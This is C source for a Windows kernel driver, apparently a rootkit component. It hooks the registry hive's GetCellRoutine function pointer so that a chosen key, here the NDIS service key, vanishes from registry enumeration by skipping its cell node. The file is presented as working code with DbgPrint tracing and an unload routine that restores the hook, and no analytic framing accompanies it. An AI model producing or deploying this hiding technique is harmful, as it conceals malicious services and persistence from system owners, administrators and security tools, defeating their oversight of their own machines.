#include <ntddk.h>

#define CM_KEY_INDEX_ROOT      0x6972         // ir
#define CM_KEY_INDEX_LEAF      0x696c         // il
#define CM_KEY_FAST_LEAF       0x666c         // fl
#define CM_KEY_HASH_LEAF       0x686c         // hl

typedef PVOID (__stdcall *PGET_CELL_ROUTINE)(PVOID, HANDLE);

#pragma pack(1)
typedef struct _HHIVE {
   	ULONG Signature;
   	PGET_CELL_ROUTINE GetCellRoutine;
   	// ...
} HHIVE, *PHHIVE;

typedef struct _CM_KEY_CONTROL_BLOCK {
	UCHAR Tapz[0x10]; //garbage
	PHHIVE pHHive;
	ULONG KeyCell;
// ...
}CM_KEY_CONTROL_BLOCK, *PCM_KEY_CONTROL_BLOCK;

typedef struct _CM_KEY_NODE {
   	USHORT Signature;
   	USHORT Flags;
   	LARGE_INTEGER LastWriteTime;
   	ULONG Spare;               // used to be TitleIndex
   	HANDLE Parent;
   	ULONG SubKeyCounts[2];     // Stable and Volatile
   	HANDLE SubKeyLists[2];     // Stable and Volatile
   	// ...
} CM_KEY_NODE, *PCM_KEY_NODE;

typedef struct _CM_KEY_INDEX {
   	USHORT Signature;
   	USHORT Count;
   	HANDLE List[1];
} CM_KEY_INDEX, *PCM_KEY_INDEX;

typedef struct _CM_KEY_BODY {
   	ULONG Type;              // "ky02"
   	PVOID KeyControlBlock;
   	PVOID NotifyBlock;
   	PEPROCESS Process;       // the owner process
   	LIST_ENTRY KeyBodyList; 	// key_nodes using the same kcb
} CM_KEY_BODY, *PCM_KEY_BODY;
#pragma pack()


//key to hide
WCHAR g_HideKeyName[] = L"\\Registry\\Machine\\SYSTEM\\CurrentControlSet\\Services\\NDIS";

PGET_CELL_ROUTINE  pGetCellRoutine=NULL;
PGET_CELL_ROUTINE *ppGetCellRoutine=NULL;

PCM_KEY_NODE HideNode=NULL;
PCM_KEY_NODE LastNode=NULL;


HANDLE OpenKeyByName(PCWSTR pwcsKeyName)
{
   	NTSTATUS status;
   	UNICODE_STRING uKeyName;
   	OBJECT_ATTRIBUTES OA;
   	HANDLE hKey;

   	RtlInitUnicodeString(&uKeyName, pwcsKeyName);
   	InitializeObjectAttributes(&OA, &uKeyName, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, NULL);
   	status = ZwOpenKey(&hKey, KEY_READ, &OA);
   	if(!NT_SUCCESS(status))
   	{
	   	DbgPrint("ZwOpenKey Failed: %lx\n", status);
	   	return NULL;
   	}

   	return hKey;
}


PVOID GetKeyControlBlock(HANDLE hKey)
{
   	NTSTATUS Status;
   	PCM_KEY_BODY KeyBody;
   	PCM_KEY_CONTROL_BLOCK pKCB;

   	if(hKey==NULL)
		return NULL;

   	Status=ObReferenceObjectByHandle(hKey, KEY_READ, NULL, KernelMode, &KeyBody, NULL);
   	if(!NT_SUCCESS(Status))
   	{
	   	DbgPrint("Error with ObReferenceObjectByHandle : 0x%x\n", Status);
	   	return NULL;
   	}

   	pKCB=KeyBody->KeyControlBlock;
   	DbgPrint("KeyControlBlock : 0x%x\n", pKCB);

   	ObDereferenceObject(KeyBody);

   	return pKCB;
}


PVOID GetLastKeyNode(PVOID Hive, PCM_KEY_NODE Node)
{
   	ULONG i;

   	// get parent Node
   	PCM_KEY_NODE ParentNode=(PCM_KEY_NODE)pGetCellRoutine(Hive, Node->Parent);

   	PCM_KEY_INDEX Index=(PCM_KEY_INDEX)pGetCellRoutine(Hive, ParentNode->SubKeyLists[0]);

   	DbgPrint("ParentNode = 0x%x, IndexList = 0x%x\n", ParentNode, Index);
   	DbgPrint("ParentNode->SubKeyCounts[0] : %d, ParentNode->SubKeyCounts[1] : %d\n", ParentNode->SubKeyCounts[0], ParentNode->SubKeyCounts[1]);

   	DbgPrint("Signature : 0x%x, Index->Count : %d\n", (USHORT)Index->Signature, Index->Count);

   	if(Index->Signature==CM_KEY_INDEX_ROOT)
   	{
	   	Index=(PCM_KEY_INDEX)pGetCellRoutine(Hive, Index->List[Index->Count-1]);
	   	DbgPrint("Index = 0x%x\n", Index);
   	}

   	if(Index->Signature==CM_KEY_FAST_LEAF || Index->Signature==CM_KEY_HASH_LEAF)
	   	return pGetCellRoutine(Hive, Index->List[2*(Index->Count-1)]);
   else
	   	return pGetCellRoutine(Hive, Index->List[Index->Count-1]);
}


PVOID MyGetCellRoutine(PVOID Hive, HANDLE Cell)
{
   	PVOID Ret=pGetCellRoutine(Hive, Cell);

   	if(Ret)
   	{
   		//if pGetCellRoutine return the node to hide
	   	if(Ret==HideNode)
	   	{
		   	DbgPrint("GetCellRoutine(0x%x, 0x%08lx) = 0x%x\n", Hive, Cell, Ret);

		   	//get last KeyNode and save it in LastNode
		   	Ret=LastNode=(PCM_KEY_NODE)GetLastKeyNode(Hive, HideNode);

		   	DbgPrint("LastNode = 0%x\n", LastNode);
			
			//if our HideNode=LastNode, return NULL	
		   	if(Ret==HideNode)
					Ret=NULL;
	   	}
	   	//after, when we reach the LastNode we return NULL
	   	else if(Ret==LastNode)
	   	{
		   	DbgPrint("GetCellRoutine(0x%x, 0x%08lx) = 0x%x\n", Hive, Cell, Ret);

		   	Ret=LastNode=NULL;
	   	}
   	}

   //DbgPrint("RetNode : 0x%x\n", Ret);
   return Ret;
}

NTSTATUS DriverUnload(PDRIVER_OBJECT pDrvObj)
{
   	DbgPrint("DriverUnload Called\n");
	
	//restore GetCellRoutine
   	if(ppGetCellRoutine)
			*ppGetCellRoutine=pGetCellRoutine;

   	return STATUS_SUCCESS;
}

NTSTATUS DriverEntry(PDRIVER_OBJECT pDrvObj, PUNICODE_STRING pRegPath)
{
   	HANDLE hKey;
   	PCM_KEY_CONTROL_BLOCK pKCB;
   	PHHIVE pHHive;

   	DbgPrint("DriverEntry Called\n");

  	pDrvObj->DriverUnload=DriverUnload;
	
	//get a handle witch reference a KEY_BOY struct
   	hKey=OpenKeyByName(g_HideKeyName);

	//get KEY_CONTROL_KEY associated with the key mapping
   	pKCB=GetKeyControlBlock(hKey);
   	if(pKCB)
   	{
		
	   	pHHive=(PHHIVE)pKCB->pHHive;

	   	DbgPrint("pHHive : 0x%x\n", pHHive);
		
		//save address of GetCellRoutine variable in hive struct
	   	ppGetCellRoutine=&pHHive->GetCellRoutine;
	
		//save GetCellRoutine function address
	   	pGetCellRoutine=pHHive->GetCellRoutine;

	   	DbgPrint("GetCellRoutine : 0x%x\n", pGetCellRoutine);

		//get the KeyNode to hide
	   	HideNode=(PCM_KEY_NODE)pGetCellRoutine((PVOID)pHHive, (HANDLE)pKCB->KeyCell);
		
		//replace GetCellRoutine by MyGetCellRoutine
	   	pHHive->GetCellRoutine=MyGetCellRoutine;
   	}

   	ZwClose(hKey);

   	return STATUS_SUCCESS;
}